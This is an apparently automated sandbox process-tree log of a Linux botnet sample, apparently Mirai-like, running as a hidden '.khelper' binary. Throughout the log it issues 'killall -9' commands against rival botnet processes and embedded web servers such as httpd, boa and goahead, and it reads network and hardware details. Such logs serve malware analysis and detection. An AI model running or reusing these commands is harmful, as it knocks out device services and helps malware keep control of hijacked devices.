/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:981
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Reads network interface configuration
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:982
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:983
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:984
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:985
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:986
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:987
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:988
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:989
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵
- System Network Configuration Discovery
PID:990 -
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:991
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:992
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:993
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:994
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:995
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:996
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:997
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:998
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:999
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1000
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1001
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1002
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1003
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1004
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1005
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Checks hardware identifiers (DMI)
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1006
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1007
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1008
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1009
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1010
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1011
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1012
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1013
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1014
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1015
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1016
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1017
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵
- System Network Configuration Discovery
PID:1018 -
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1019
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1021
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1022
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1024
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1028
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1029
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1030
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
- Enumerates kernel/hardware configuration
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1031
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1032
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1034
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1035
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1037
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1038
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1041
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1042
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1043
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵
- Reads runtime system information
PID:1044
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1047
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1048
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1049
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1051
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1053
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1054
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Renames itself
- Reads network interface configuration
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1056
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1058
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1059
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1060
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1063
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1064
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1066
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1067
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1069
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1070
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1072
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1073
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1075
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1077
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1079
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1080
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1081
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1083
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1085
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1086
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Renames itself
- Reads network interface configuration
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵
- System Network Configuration Discovery
PID:1088 -
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1090
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1091
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1092
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1095
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1096
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1098
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1099
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1101
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1102
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1103
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1105
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Renames itself
- Reads network interface configuration
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1107
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1108
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1109
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1110
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1111
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1112
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1113
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1114
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1115
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1116
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1117
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1118
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1119
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1120
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1121
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1122
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Checks hardware identifiers (DMI)
- Reads MAC address of network interface
- Reads network interface configuration
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1123
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1124
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1125
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1126
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1127
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1128
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1129
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1130
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Checks hardware identifiers (DMI)
- Reads network interface configuration
- Reads runtime system information
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1131
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1132
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1133
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1134
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Reads network interface configuration
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1135
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1136
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1137
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1138
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Checks hardware identifiers (DMI)
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1139
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1140
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1141
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1142
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Reads MAC address of network interface
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1143
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1144
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1145
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1146
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1147
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1148
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1149
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1150
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1151
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1152
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1153
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1154
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1155
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1156
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1157
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1158
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Checks hardware identifiers (DMI)
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1159
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1160
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1161
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1162
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1163
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1164
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1165
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵
- Reads runtime system information
PID:1166
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵
- System Network Configuration Discovery
PID:1167 -
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1168
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1169
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1170
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1171
-
